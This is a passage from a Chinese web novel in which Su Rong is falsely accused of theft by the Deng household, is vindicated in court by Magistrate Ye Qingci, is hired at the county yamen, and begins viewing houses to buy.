“青蝉这个蠢东西,连这么点小事也办不好!”
柳枝告密,她猜测苏蓉这么多银子,一定来路不正!原本想私下给苏蓉一顿教训,用软硬兼施的手段,坐实苏蓉偷盗之名。
一方面逼迫苏蓉服软,便于日后使唤;一方面还可将缴获的“脏银”,堂而皇之没收私库。
谁成想青蝉制不住苏蓉,让对方大吵大闹一通。不明究里的老爷直接将人和财送了官……
刘夫人简直要憋屈死了。
“娘!”
闻讯匆匆赶到的大姐儿邓慧,捏着手中帕子,听明白母亲意思后,冷静分析。
“一个被休弃妇,且吃过官司,无依无靠手头哪来这么多钱?她那二十多两银子,一定有问题。爹将她送官追究是对的,别连累我们邓宅!”
刘夫人想想也对。
不管苏氏钱从哪来,她一口咬定家中失窃,苏氏讲不清楚巨额银子来源,县令大人就会治她的盗窃罪。
说不定还会将银子还给她们邓宅。
“娘就是觉得有些可惜。”
她握住女儿的手道:“之前看那苏氏能写会算,是个得用的人才,想调给你使唤?”
“娘,您真是糊涂了!”
邓慧满脸嫌恶,一把甩开她的手。
“一个被休掉的弃妇,怎能留在我身边当下人?别人会怎样看我?我可是清清白白的女儿身!”
刘夫人醒悟过来,连忙安抚女儿:“是娘考虑得不周!为了给慧儿你挑陪房,着急上火了!”
邓慧满脸阴郁,想着峻节清风、卓荦不群的县令大人,内心充满烦恼和渴求。
作为证人,青蝉、柳枝等人,都得跟着去衙门。
混乱中,苏蓉不可避免吃了大亏。挨了小厮们几拳脚,给青蝉长指甲挠破脸,血水滴滴答答流淌,粘糊在身上。
麻绳缠绕她双手,捆了好几圈。但她傲然扬着下巴,睨视邓宅一干人。
寡不敌众,暂时认栽。但只要叶县令为她做主,她势必会讨回公道。
当然,叶县令靠不住也没关系。被激怒的她,此时完全不在乎多为宜阳县添几桩杀人碎尸凶案!
得到邓教谕支持的青蝉,自以为得逞,让小厮去衙门口递老爷名帖,敲响登闻鼓。
登闻鼓有专人管理。一响往内通传,官员必须即刻升堂受理案件,不得拖延。
“你死期到了!”
等着衙门回应时候,青蝉还故意凑到苏蓉面前,恶狠狠说了这么一句。
苏蓉回应她的,又是狠狠一脚,踢在其肚子上!
见过蠢的,没见过这么蠢的,一次两次送人头!苏蓉觉得不踹对方两脚,简直对不起这个智障。
惊得两个押人的小厮,连忙按住苏蓉,不让她动弹。
第47章 三上公堂
青蝉接二连三吃亏,快气疯了,刚想扑上去对苏蓉拳打脚踢。衙门大开,有人走出来斥喝。
“深更半夜,谁在击鼓鸣冤!”
苏蓉望过去一眼,发现对方是与金家人狼狈为奸的鲁班头。心头一沉,连忙低头。避免对方认出自己,横生枝节。
别看青蝉在苏蓉、张厨娘等人面前威风,到了县衙,面对衙门的人屁不敢多放一个。只能眼巴巴地瞅着邓教谕身边的小厮,上前说明原委。
鲁班头听明白原委,扫视一眼邓家人及被捆绑在一边的苏蓉,满心厌烦。
这么小件事,应该属于邓家家丑。结果竟然半夜击鼓鸣冤,惊动大人,扰他们兄弟清梦?邓家人真是越活越回去了!
但名帖在手,鼓已击响,大人派人来问,不得不照实回复。
他没认出来一身狼狈、**家人送官的小贼是苏蓉,不耐烦地说声:“在这等着!”
转头便入内禀报。
少顷,衙门灯火通明。三班衙役睁着睡眼惺忪的眼睛爬起来加班,叶清辞身着官袍,升堂问案。
涉及治安、盗贼**,燕彬暂代县尉,坐下面记录协助审理。傅振权充典史,统率三班衙役压阵。
当三人看清**家人扭送上堂的“盗贼”,均陷入一阵诡异的沉寂。
“堂下何人?状告何事?从实说来!”
惊堂木拍响,叶清辞清咳一声冷喝。感觉有种头痛,与名为苏氏有关。
鲁班头代为呈上邓教谕的名帖。
小厮用眼色示意青蝉。
青蝉战战兢兢,跪在堂下先冲叶清辞磕了一个头,才结结巴巴说起正文。
“回、回大人,这个小**偷盗……”
“啪!”
叶清辞眉头一皱,拍响惊堂木:“堂下之人好好回话!姓甚名谁,所为何故?休得污言乱语,扰人清听!”
“是、是……回大人,奴婢名叫青蝉,是刘夫人身边的大丫鬟。”
青蝉吓了一跳。镇定心神后捂住心口,磕磕绊绊继续述说。
“这个女人苏氏,在我们邓宅厨房做帮工。原是我们夫人怜悯她遭遇孤苦好心收容。她却恩将仇报,偷盗我们邓宅财物!”
“今夜拿贼拿赃,揪了她一个现行。”
青蝉越说越顺溜,乜斜旁边一言不发的苏蓉,眉眼间又染上不可一世的骄横。
“只是考虑到这人是外面雇请的佣工,非家中奴婢。故而只能由老爷拿了名帖,将其扭送衙门,听大人处置?”
倘若换成上任县令,那绝对没二话,冲名帖直接将人收监。隔天官卖,还能落一笔小财。
青蝉挺起胸脯,下意识不觉得这任县令,会与以前有什么不同。否则老爷不会二话不说,直接命送官。
叶清辞神色冷淡,瞥丢在旁边的名帖一眼。
苏蓉上过两回公堂,知道规矩。县令大人不问到自己头上,她沉住气一声不吭跪着。公堂瞎嚷嚷,只能落个无故喧哗的罪名。
她才不犯傻。
下一刻,只听叶清辞问青蝉:“邓宅指正苏氏偷盗,可有证人证据?”
“有,有!”
青蝉忙回答,捧上手里一直抱着的旧衣包。
“苏氏将偷来的银两,藏在她旧衣的夹层里,被我们当场搜了出来!”
鲁班头这才发现被告人是苏蓉,惺忪的睡眼,顿时圆睁不少。赶忙上前接过青蝉递出的布包,呈放在叶清辞面前的公案上。
外面的旧衣散开,露出一堆白亮亮的银子铜板。
鲁班头心道,这小娘皮确实胆子大啊,敢偷盗?这么多银子,用脚趾头也想得到,苏氏凭自己本事不可能挣到!
燕彬停笔,与对面的傅振对视一眼。
叶清辞面无表情。
“有何证据,证明苏氏行李中的银子,是偷盗而来?且是你们邓宅的?”
熟悉自家大人脾性的燕彬、傅振两人知道,这是大人真正生气的前兆。
“苏氏同屋的丫鬟柳枝举报她!再说,她不是一个被赶出夫家的弃妇吗?身无分文!”
青蝉仰着脸,手指身边瑟瑟发抖的柳枝,回答得特别理直气壮。
“在我们邓宅,工钱也才四百文一个月。怎么可能才做两个多月的工,就积攒出这么一笔、旁人几年挣不来的巨额财富?”
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“柳枝!”
叶清辞冷冷唤匍匐在地的柳枝:“你告密说苏氏偷盗邓宅银子,你亲眼所见?”
柳枝浑身打颤。
“没……没有……”
叶清辞哼了一声。
青蝉急了,顾不得是在公堂上,狠狠拧了把柳枝,压低的声音带着威胁。
“大人问你话呢,快说!”
柳枝惨白一张脸。这次哆哆嗦嗦张嘴,总算说出一番完整的话。
“回、回大人,奴婢没有亲眼见她偷盗……但她夜里悄悄数银子,被我看见了?”
“我觉得,她怎么可能有那么多钱呢……多半是偷的,所以报告了夫人……”
就是后面这事态发展,完全超乎她预期、想象了!
她现在无比后悔,若是一开始不那么糊涂,嫉妒苏蓉,可能不会演变成这种局面。
她忍不住望向苏蓉。
正碰见苏蓉两道愤怒目光扫视过来。里面充斥的杀机,竟然比县令大人威严的眼神还可怖,吓得她一瞬间,汗**倒立!
“所以说,你们二人指责苏氏偷盗银两,都是你们主观臆测?想当然?”
叶清辞简直被气笑了!
半夜击鼓鸣冤,把他从床上拽起来审案,就是这种狗屁倒灶的事情?
邓宅腌脏龌龊的龃龉私事他不想知道,也不屑知道。但敢舞到他面前、公堂之上,那便不能轻松干休!
他重重一拍惊堂木。
“来人,去传邓教谕夫妇登堂!”
再愚钝,鲁班头也知道大人发火了。头上冒汗,赶紧带了两名衙役,去邓宅传令。心里暗怪邓教谕这糊涂老头!
没证据的事,也敢夜半三更把人往衙门送!当新任县令是以前那位啊?
那位听说还没上京述职,就被当地知府扣押了。等按察司、刑部一套流程走下来,下场多半和关在县大牢的梅主簿等人差不多。
邓宅一群蠢货,老虎头上拔**,自寻倒霉!
鲁班头走后,叶清辞看看被绑成麻花状,脸和身上有血迹,却从头到尾咬牙,坚强不吭声的苏蓉,默默叹口气。
“来人,先为苏氏解绑!”
第48章 贼喊捉贼
青蝉一急。
怎么能放人呢?难道大人偏袒苏氏,不相信她们的话?
想到不能修理苏蓉,她回去会被夫人责罚。心头一急蹦跶起来,想拦住上前的衙役。
“大人不能啊,她是贼怎么能放?”
“威——武——”
两边衙役齐声喊起堂威。
青蝉吓了一跳,赶紧跪回去。
叶清辞拧紧眉头。
要不是他不是那种喜欢发官威的人,真想当堂治青蝉咆哮公堂之罪!
绳索缠绕得乱七八糟又很紧,衙役解了半天没解开。担心大人嫌自己笨手笨脚,衙役鼻端急出来汗。
“让开!”
燕彬看不下去了,放下笔起身走到两人面前,刷地拔出腰间长剑。
衙役赶紧退后。
苏蓉迎着亮晃晃的剑,心情有点紧张。她以为燕彬会一剑慢慢割断绳索,结果……
“唰!”
亮光一闪,身上一松!
燕彬直接一剑,如同切豆腐般切开她身上道道绳索。随后,挽个漂亮的剑花,利落回剑入鞘。
苏蓉呆若木鸡。
对方已坐回书案后准备继续记录公文了,她还没从惊恐中回过神。有种屁滚尿流、刚从鬼门关打了一转的感觉……
对方一点不担心,把她劈成两半吗?只划个口子她也完蛋了啊喂!
对了,她捏了一路、在意一路的豆子又吓掉了!现在趴地上去找、去捡,会不会显得很奇怪?
旁边,青蝉等人同样噤如寒蝉。
叶清辞及三班衙役……
唯有傅振表情实名羡慕。
真羡慕彬哥,手上有一柄大人赠送的宝剑。他也要好好表现,以后让大人再弄把神兵利器给他!
好在邓宅不算远,邓教谕刘夫人不敢耽搁,很快跟随鲁班头赶到了。
叶清辞冷着脸,让这对夫妻上堂站着。随后,让青蝉、柳枝几人,把控告、指证苏蓉的罪名和理由,重新说一遍。
刘夫人不觉得有什么,脸带傲气,不以为然。邓教谕越听越不对劲,越听越在叶清辞严厉目光的注视下,低下头滴落冷汗。
“大人,这小小洗菜娘,胆子竟然如此大,敢盗窃我邓宅的财物!请大人一定要重重惩治她?”
刘夫人上前一步,居高临下睨视跪在地上的苏蓉,胸中无限快意。
一个贱民,也敢违逆她?
上了公堂,她能站着,对方只能跪,这就是差别!
“你给我闭嘴!”
邓教谕面皮发紫,手在袖中握紧成拳,压低声音呵斥妻子。若不是在公堂上,他真想一巴掌打死这个愚蠢的妇人!
无凭无据、没影子的猜测,也敢明目张胆胡乱抓人。还带累不明究里的他,帮忙把人送衙门!
一个诬告之罪跑不掉!县令大人发怒,甚至可能危及他的学官身份!
怎么会有这么愚蠢的女人,家门不幸,要被这女人害死了!
邓教谕立即越过刘夫人,以最诚挚的态度向叶清辞弯腰行礼:“大人,是卑职治家不严,忙于培养学子,疏忽对妻小教导,卑职愿意受罚!”
希望退一步能获得大人体谅。
“夫君?”
刘夫人莫名其妙看着自家男人,明明是她家抓住贼送官,为什么夫君会向县令大人请罪?
不该处置那个苏氏吗?
她根本没意识到事情的严重性。
“刘氏!”
叶清辞皱眉。
去邓宅赴宴那会,没看出来刘氏这么愚蠢自负,只觉得人热情大方。如今看,果然这些官宦士绅,谁不是戴了副虚伪的假面具!
“你有何证据,证明苏氏财物,为你家所有?”
“这……”
刘氏一阵语塞。
“大人,银子怎么可能有标记?苏氏一个洗菜娘,还是被夫家一无所有赶出来的,身上怎么可能有这么多钱?所以她一定是偷我家的!”
“大人,您要给我们做主啊!”
邓教谕连连给妻子递眼色,后者不懂也不理。邓教谕心累地扭过头,不想再看妻子一眼。
“喔……因为苏氏不可能有钱,所以她如果有钱,一定是偷来、抢来的?”
叶清辞笑了。大堂温度,一时间冷飕飕降了好几度。
“那么,刘氏,本县问你一个问题?”
“邓教谕年俸为每年银四十两,禄米四十斛。据本县所知,你们夫妻名下,最初只有一个小庄子。”
“凭这些微薄收入,你们是如何做到,三年间在宜阳县最繁华的地段购置宅子,买下五家铺子,使唤仆从十多人,还能将不学无术的儿子,送进县学的?”
“本县合理怀疑,你们贪赃枉法,鱼肉百姓!”
他不说,不追究,不代表他不查、不知道!
只是相对前任县丞、主簿一干人,邓教谕算得上克制,手底下没弄出过人命。
考虑到自己初来乍到,不能把前任班子全部弃掉,故而留下邓教谕,以观后效。
结果这对夫妇蠢不自知,非得到他跟前来找存在感!
“噗通”!
邓教谕双腿一软,可以见官不跪的学官风骨,一下子像是被人抽走。趴在地上,连连磕头。
“大人明鉴!大人明鉴!”
不敢承认,不敢否认。
刘夫人再蠢,此刻也知道厉害。想到汤县丞、梅主簿那帮人落马,他们后宅女眷的下场,唬得魂飞魄散。
哪里还顾得上来这里干什么,跟着跪下,磕头如捣蒜!
“大人,我们是冤枉的,从来没做过什么啊……”
苏蓉在旁,鄙夷地冷哼一声。
贼喊捉贼,搞半天也是个贪官!还好这位叶县令,是真的英明。不然,要逼出她的杀手锏了?
想起她失踪的豆子,下意识目光又在地面搜寻。
“苏氏!”
叶清辞不想理睬磕头求饶的邓教谕夫妇,转头唤了一声苏蓉。
“民女在?”
苏蓉连忙答应。
叶清辞示意傅振捧起公案一堆银子铜板,送到苏蓉的面前。
“你可有证据,证明这些钱是你的?”
终于轮到自己发言了!
“有!民女有证据!”
苏蓉压抑住激动。得到叶清辞颔首许可后,她伸手扒拉布包,忽略一堆铜板,把一个个大小银锭子捡出来。
一边捡,一边高举朗声说道。
“这一锭十两银子,是金竹海当街行凶,险些将我打死。县令大人做主,责令他赔偿给我的!”
“这一锭十两银子,是县令大人夸我献手衣有功,代表官府赏赐我的!”
“还有这近八两碎银,是之前无辜被牵扯进凶杀案,吃尽苦头,县令大人怜悯、补偿给我的!”
“此外,我有幸捕捉到几只野鸡野兔卖掉,傅大人也曾买过一次,可以为我作证!”
“最后,剩余的便是我的工钱……”
苏蓉一边说,一边心中无比苦涩。
原来,她穿越到这具身体里,这个世界,不到三个月,竟然经历那么多事,吃过那么多苦头!
泪水潸然而下,混合着脸上未干的血迹,不知不觉打湿胸襟。
第49章 瘟神必须送走
刘夫人等人,一个个面色灰败,身上发冷。
真是打死她们,也不会想到,苏蓉这么多钱是通过这些方面来的啊!而且,最关键的是,证人就坐在高堂之上,审视她们。
她们内心的阴暗,无所遁形。
傅振扶起苏蓉,直接把一包银子铜板,交还到她手里。苏蓉意识到自己大为失态,紧紧抱住失而复得的银子,低头平静情绪。
叶清辞冷冷看着邓教谕夫妻。
刘夫人冷汗直流。
突然,她直起身子手指青蝉和柳枝。
“大人,是我不该偏听偏信,相信下人谗言,冤枉苏氏!我把她们两个交给衙门,请大人依法处置她们!”
弃卒保车,是她此刻唯一能做的了。
青蝉不可置信地望向主子。她为主子分忧、冲锋陷阵,主子竟然在最关键的时候抛弃她?
柳枝身体一软,瘫倒在地。
邓教谕咬咬牙,看着叶清辞眼眸冷意幽深,当机立断,在妻子话语的基础上,添上一块砝码。
“大人,贱内素来愚蠢,听风便是雨,给大人带来如此多麻烦,卑职不胜惶恐!卑职愿意献银五百两,捐助大人修缮衙门和义仓!”
叶清辞眉头一挑。
燕彬和傅振眼中,不约而同露出笑意。
果真是拿捏住蛇七寸,才能将蛇治得服服帖帖的。
不过,这邓教谕只拿出五百两,相形于这几年他利用职权之便,把不该进县学的纨绔子弟弄进县学,所收贿赂是九牛一毛!
“你们真正该弥补的,是无辜被你们冤屈打伤的苏氏。”
叶清辞慢悠悠提示一句。
邓教谕急忙点头应承:“是、是!卑职即刻回家取银子,也补偿给苏氏十……不!二十两银子!”
苏蓉……
二十两?
她情不自禁摸着火辣辣肿疼的脸。
好像挨顿打换来二十两银子,也不是不行?
她这身板,应该还能再扛住几顿毒打……
刘夫人心如刀割。
损失那么多银子……
却在叶清辞掷下一根令签,冷冷发布一条命令后,彻底没了脾气。
“邓家奴仆,挟私构陷他人,伪证欺官。身为下民,罪加一等!来人啊——”
“每人当堂重责三十大板,以儆效尤!”
负责帮忙押运苏蓉的小厮们傻了眼。
他们只是服从主子的命令啊,这也要挨打?
柳枝白眼一翻,当场晕了过去。青蝉浑身发抖,下面一松,一股难闻的尿骚味自裙底飘了出来。
如狼似虎的衙役冲上来,哪管他们什么表情什么心情,拖翻在堂下,两个服侍一个,抡起水火棍便开始一五一十的打起来!
“噼里叭啦”!
妈的!大半夜扰人清梦!
“噼噼啪啪”!
晕过去的,被打得疼醒过来,转头又被打得疼晕过去。
刘夫人面如白纸,身体摇摇欲坠。
邓教谕没去管她,咬牙切齿瞪她一眼,抱拳拱手:“大人,请容卑职回家取银子!”
“去吧。”
叶清辞心情舒畅,此刻特别好说话。
苏蓉望向堂下被打得一佛出世、二佛升天的青蝉、柳枝几人,像是大热天回家,吃了块冰淇淋,酣畅淋漓!
她诚心诚意跪下给叶清辞磕头。
“多谢青天大人为民女做主!否则……”
换个县令,她哪有这般好命!
“起来吧!”
叶清辞也是真心实意,觉得她不容易。叹息:“你和邓宅还签有佣工契,打算日后怎么做?”
“大人,我不要她在我家做工了!”
苏蓉刚想说赔违约金,旁边刘夫人一个激灵支棱起来:“我现在就回家,把佣工契找出来还给她!”
这简直是尊瘟神,必须送走!马上送走!
叶清辞颔首。
“那你去吧。”
刘夫人如蒙大赦,步邓教谕后尘,飞快开溜。至于堂下鬼哭狼嚎挨打着的自家下人,她一个正眼没看。
苏蓉喜上加喜,再次给叶清辞道谢。
叶清辞微微一笑。
“待邓家送来赔偿银子,你领了就离开衙门吧。”
他一拍惊堂木。
“退堂!”
苏蓉和衙役一起肃立,恭送叶清辞离开。
心里欢乐得快要飞起!
她有钱了!
可以买房置地奔小康了,还能把方婆婆祖孙接进城!
哪怕之前确实有千般委屈,万般愤怒,现在只觉得一切是值得的!
在衙门等候半个时辰,天蒙蒙亮。观察县衙四处来回走动的衙役,奇怪为什么金安福昨夜为何不在,莫非是恰巧没轮值?
傅振手里拿着东西,朝她走来。
“苏娘子。”
他将钱袋及一份佣工契,交到苏蓉手里:“这是邓家赔偿给你的,清点一下。”
苏蓉掂掂钱袋,二十两银子一斤多,连同身上她所有钱财,现在负重过三斤。
这么多钱,得赶快找地方放好,最好是买成固定房产。这样一来,就能将方婆婆祖孙接进城一起住了。
虽然没有血缘关系,但她相信方婆婆祖孙的人品。以后她们可以相互依靠生活,旁人也不会因为她一个女人独门立户,三天两头欺上门来。
把佣工契撕碎,自此,她名正言顺能在宜阳县立足!
谢过傅振,正准备离开衙门,傅振忽然叫住她:“苏娘子,你可有去处?”
苏蓉老实回答:“多谢傅爷关心,我打算先去找家客栈歇一晚,明早去牙行……”
傅振以为她还想找户人家打工,微微皱眉。
“苏娘子,你衰运缠身,就别去祸害他人了!正好我们后衙也差个洗菜娘,我们大人说你若愿意留下来,给你六百文一月!”
“当真?”
苏蓉心头一跳。
首先想到的竟然不是能蹭上衙门的光,披上虎皮;而是脑海中浮现出叶清辞那冷眸如霜,凌冽威压又不失清正之气的颀秀身影。
“当然是真的,大人亲口说的!”
傅振环抱双臂,嗤的一声笑:“苏娘子,时运不济成你这样子,想来也只有衙门浩然正气,才能压制住你的衰气!”
“我们这里,一样包吃住,你回去收拾好了来报道吧。直接去后衙,找姜厨娘即可。”
苏蓉急忙欠身行礼。
“多谢傅爷,多谢傅爷!”
能进衙门打工,吃上一口公家饭,以后无论在县城做什么,扯出衙门虎皮都好用。对于她这个无依无靠的孤女,简直是送上门的大腿。
不抱白不抱!
目送傅振离开的背影,激动的心慢慢平静。随即,想到某些事的苏蓉,恨不得给自己两个耳刮子!
第50章 抱上金大腿
糟了!
光顾着开心能抱上大腿,她忘了自己金手指是见不得光的!
还指望铜甲兵帮忙狩猎发家呢,若被叶大人发现端倪,子虚乌有的岷郡王氏,是她过不去的坎!
她怎么一听关乎叶清辞,就糊里糊涂答应了呢……
怀着既窃喜、又惴惴不安的心情,苏蓉踟蹰挪步走出衙门。
她前脚方离开,金安福后脚匆匆,溜进衙门。鲁班头在巡视轮值情况,见这小子终于出现,没好气上前给了个大逼兜!压低声音训斥。
“小兔崽子!一晚上跑哪去了?不是你当值,也该在班房里歇着。幸好大人昨夜没有关注三班衙役人数情况,不然你我都吃不了兜着走!”
金安福讪讪。
他初来乍到,被同僚拉去喝花酒庆祝,不知不觉便流连忘返了。这种原因怎敢实说,支支吾吾问鲁班头。
“鲁哥,昨夜没发生什么事吧?”
他一进门,就感觉衙门肃杀之气,隐隐觉得异样,又不知道异样在哪?
“没发生什么事?发生大事了!”
鲁班头冷哼一声,嗤笑。
“你那前嫂子,把天又捅破个大窟窿!这回是邓教谕家因她出了事,赔偿一大笔银子,真是倒了血霉!”
他摇头,打心底觉得苏蓉是祸害。
汤县丞、梅主簿、马县尉因其纷纷落马,被县令大人拿住罪证,现在又是邓教谕……
好在邓教谕机灵,当堂献银保住自家。不然,追究起来怕不是和其他大人一样下场?
“鲁哥你说的是苏氏?”
金安福面上变色:“具体怎么回事,您快给小弟说说?”
鲁班头手臂一伸,勾住他脖子走到僻静处。
不提他们两个私下蛐蛐苏蓉。苏蓉怀揣银两,先去成衣铺购置两身粗布衣裳,借地换下身上脏衣。
被邓家半夜捉起来送官,连外衣也没顾上穿,蓬头垢面,无比狼狈。
好在店家只要钱到手,听她解释是遇上了抢劫,没有多问。
苏蓉在路边买了个粗面黑馒头,边啃边走向牙行。
这一次,她找的还是徐牙婆。
毕竟是个小县城,地方不大。与其让邓家日后传谣她的坏话,污她清白,不如第一时间告知徐牙婆真相。
干牙婆这一行的,门路深人缘广,结识颇有好处。
伴随时辰到,牙行门开,她第一时间走向徐牙婆的办公间。
徐牙婆记忆力比常人好,见到她第一眼,便把她认了出来。
最难得的是,一点不表示惊讶,而是平静地把屋里正清扫房间的小丫头赶出去,让苏蓉在自己面前坐下。
“徐嬷嬷,我又来麻烦您了!”
苏蓉笑出标准的六瓣牙,随即将准备好的一小串二十文铜板,放在桌面推给对方。
徐牙婆没有推辞,直接收了,丢在抽屉里。笑出了牙花子,道:“你这丫头,是不是不打算在邓宅做了,又想着换东家?”
“徐嬷嬷,以后我可能在衙门为县令大人做事了。”
苏蓉有意扯出叶清辞的老虎皮。等徐牙婆露出不能掩饰的惊讶,她才慢慢说出被邓宅陷害偷盗,然后幸运得到县令大人主持公道的事。
徐牙婆嘴巴简直合不拢。
“没想到邓宅人如此不讲理?县令大人还挽留你在衙门做事?哎呀呀,苏娘子,你可算是苦尽甘来啊!”
若说单是苏蓉得罪邓宅,她有可能顾虑,会将苏蓉赶出去。但听到苏蓉以后竟然能进衙门做事,徐牙婆对她的态度,完全改变了!
热情地起身,亲手为苏蓉倒了杯茶水,送到她手里。
“那么,这次苏娘子你登门,是什么事呢?”
苏蓉笑着回答:“徐嬷嬷,宜阳县我人生地不熟,想着您是专职做这行的,所以来问问您。我想买处便宜房子,您这里有推荐吗?”
听她一口一个您,这份尊重,撸得徐牙婆浑身逆毛都顺了。苏蓉这种懂事又能给好处的人,她不吝于多照顾两分。
“问我,你算问对人了!”
徐牙婆笑呵呵道:“我在牙行虽然不经手房产交易,不过我有个侄儿,正好在牙行做学徒,他手里可能有些房源?”
怕苏蓉觉得自己心不诚,直接说实话。
“苏娘子,你可别觉得我故意埋汰你。学徒自有学徒的好处?手里房源,大都居善价廉适合普通人购买;而且,手续费少!”
她知道苏蓉得到些赔偿银子。但想买豪宅,远远不够。就算普通民房,也要三思而后行。又不是只买房,以后不用吃饭了。
所以,她自认很是良心地在为苏蓉推荐。与其让别的学徒接待苏蓉,不如由她侄儿来增添一笔履历,互惠互利。
苏蓉见她说得诚恳,用人不疑,疑人不用。笑着点头:“那,徐嬷嬷麻烦您了!”
“不麻烦,不麻烦!”
徐牙婆心情愉悦,锁了抽屉,领着苏蓉出门。
门外乌泱泱的求职大军,大部分是老弱妇孺。几乎每一个负责登记的房间外面,都排着长队。徐牙婆微微皱眉,问苏蓉又像是自语。
“奇怪,最近来宜阳县的人,似乎越来越多了?”
苏蓉看着这些衣衫褴褛、扶老携幼的人,心有戚戚焉。
她不幸,可同时,她也是非常幸运的!
徐牙婆将她领到右边院子。
苏蓉不自觉抬头挺胸。
这次,她是买得起房的人了!
徐牙婆的侄儿徐刚,是个外表青涩憨厚的小伙子。她们找到对方时,徐刚正鞍前马后跟着带他的师傅杨牙人打转。
徐牙婆进门说明情况。
杨牙人细长的眼睛一瞥灰扑扑的苏蓉,不甚在意地捋自个胡子,浅淡一笑。
“刚子,那你便去招呼客人。按师傅教你的,把你手上有的几处房源,好好给客人做介绍!”
他分给徐刚的房源,都是县城不入流的产业。就算推销出去,也拿不了几个提成。
只是徐刚必须通过销售这些低端房产,逐步积累干牙人这行所需的经验。所得佣钱,还得给他献上两成。
徐刚领着徐牙婆和苏蓉到隔壁小间,感激地望了姑姑一眼,先倒水泡茶。
徐牙婆让侄儿不用管自己,将苏蓉拉到桌前坐下,才笑着道:“我还有事要忙。刚子,你招呼好苏娘子就行!成与不成,别怠慢了?”
“苏娘子可是我特别为你荐来的客人!”
徐刚连忙回答。
“姑姑您放心去吧!我不成,还有师傅在呢?”
一言未了,只听外面闹嚷嚷起来,夹杂人声哭喊。
第51章 看房
徐牙婆脚步一顿,随即没有丝毫犹豫地一径去了。
苏蓉坐在椅子上,注意力飘到门外。但徐刚四平八稳端坐自己面前,她不好意思像个八卦之人,跑到门口窗边去瞅热闹。
徐刚歉意地对她赔笑。
“这里环境嘈杂,苏娘子多担待。”
反正他是习惯了,直接去自己书架上,搬下厚厚几撂记录册。
明显对业务尚不熟练,慢腾腾翻了片刻,才把其中两册记录摆在案头。
“苏娘子,你要买房,能不能先对我说说,你买房的预算是多少?还有,具体有些什么要求?”
苏蓉忽略外面的吵闹声,端起茶杯,喝了两口水。
“我听说县城,有十多两银子的房子?”
徐刚嘴角一抽。
“苏娘子听谁说的?县城不说那些大宅子,单普通民房,最便宜的也要三十两银子!”
苏蓉……
她不好意思说是根据一些小说得来的数据。
徐刚见她沉吟,只当她不懂行情,冒失来牙行。冲姑姑面子,好心地为之考虑。
“十多两的房子,当然有。不过一般在乡下,几两银子便能建几间茅庐。十多两,可以建土坯房、木房……”
“苏娘子,如果您预算不足,其实可以考虑租赁。几百文的住房到二、三两银子的商铺租赁,我们牙行都能为您介绍合适的房源?”
虽说看样子做不成房屋买卖,能促成一次租赁合约,也算他学徒生涯的成功。
苏蓉不想租房。
她渴求拥有自己的房产。现代买不起房,难道在古代,还只能漂泊无定所?哪怕只买个二手小屋,属于她的就好。
“徐牙人,你方才说有三十多两的普通民房?”
“有、有的!”
徐牙人眼睛一亮。
“苏娘子,如果您的预算能加到三十来两银子,我就能为您推荐适合的房源了!”
没想到姑姑介绍来的这小娘子,一身粗麻布衣裳,看上去又黑又瘦如同流民,竟能掏得出三十多两银子,不知是什么来路?
苏蓉看向翻开的记录,听对方做介绍。
“城东,一处街口有三间青砖平房,带小院落,面阔一丈五尺,进深两丈,售价三十五两;城西,老巷深处,两间土坯房配柴房,虽老旧胜在价格低廉,仅需三十两。”
“还有这,就在附近的一处民房,同样三间青砖屋,有小院落、围墙,需四十二两。”
他手中房源不多,看苏蓉又是单身女子,推荐的都是性价比稍高的房屋。
尤其附近这处,看起来没有城东那家大,但处在县衙附近,可以说安全感十足,且生活方便。
唯一缺点就是超过苏蓉预算。
苏蓉对县衙附近那家动了心。若能拿下,她就不必住在县衙,能够晚上回家,每天早上上工。
金窝,银窝,不如自己狗窝。那肯定是住自己地盘爽!就是这价格……
她谨慎地问:“徐牙人,可以先带我去看看吗?”
一般客人要看房,就是多少动了购房的心。徐刚压抑住激动,一口答应。
“好,我带你去!我师傅手下有骡车,苏娘子你等等,我去问他借?”
说罢,快步小跑出房。
苏蓉这才有机会走动,到门口张望一眼。却发现方才院子里的风波似乎已平息了。只见两个小厮,拿着扫帚提着木桶,一遍遍冲洗地面。
那水一圈圈荡漾,推向墙根,泛着暗红。
她隐约不安。
徐刚快步走回来,手里拿了串叮叮当当的铜钥匙。见她站门口,忙道:“苏娘子,我师傅同意借车,趁天色尚早,我们去看房吧。”
三处房屋南辕北辙,就算有车,多半也要耽搁一天。
苏蓉回屋拿起自己的小包袱,抱在怀里,跟徐刚去坐骡车。没有专职车夫,徐刚自己就是车夫。身为学徒,什么都得干,什么都得学。
他师傅杨牙人还算道义,没有特别压他。其他牙人带徒弟,大有将其当奴工往死里用而不教真本事的。
当然也是徐家有门路,在牙行有一席之地。
路上,两人随意聊天。苏蓉问牙行方才发生了什么事?
徐刚甩着鞭子赶车,轻描淡写。
“新到一批奴仆,刚下车便撞柱死一个。可惜了,就那姿色,转手至少能卖个七八两银子。那带人的牙婆,这趟损失惨重!”
他漫不经心的态度,似乎司空见惯这种事,令得苏蓉毛骨悚然。
徐刚只是普通人。但在他眼里,牙行进出的奴仆如同货物。不幸丧命一个,仅相当于钱财损失。
虽然她知道这种事在当下是常态,但她无法将自己代入到卖人受益的一方。
“这段时间,涌入宜阳县的流民激增,不知县令大人注意到没有?”
徐刚嘀咕。
他身在牙行,卖儿卖女或是各种途径流来的奴仆增多,自然能第一时间敏锐发现。
“为什么流民会激增?”
“北面乌蛮人入侵,我们大靖的边陲小镇陆续遭洗劫。百姓们纷纷逃离家园,才有这么多流民吧!”
徐刚没回头,专注赶车,口中应付道:“听说朝廷已调遣军队增援,不知道现在边陲战事如何了?”
他庆幸地叹口气。
“幸好我们宜阳县位处内腹地,前后有大城保护,不至于受到乌蛮人骚扰。”
苏蓉听他解释,跟着松口气。
她还要在这里买房定居呢,若是世道乱起来,那如何是好?
不过流民激增也是个问题。若不能妥善处理,搞不好宜阳县也得乱?
想到清廉有能力的叶县令,想到自己手握的金手指,稍微安心。无论如何,她至少比一般人有生存能力。
“到了。”
徐刚停车跳下去,礼貌地伸出手,让苏蓉搭着他手臂下车。从头到尾,双方皮肤没有相触。
中饭啃两个肉包解决,徐刚主动掏钱。为促使自己客户买房,牙人们一般会想方设法拉近关系。
只是徐刚作为学徒工钱不多,仅能请得起最便宜的饭。
一天看了三处房屋。
说实在苏蓉挺失望的。
灰扑扑的砖墙,柱头门窗脱漆。斑驳色彩下有虫蛀过的痕迹。里面空荡荡,只有几件残破家具。
第52章 买房
至于院墙早已损毁,出门走两步,直接到街道上。院子没有什么占地面积可供利用。
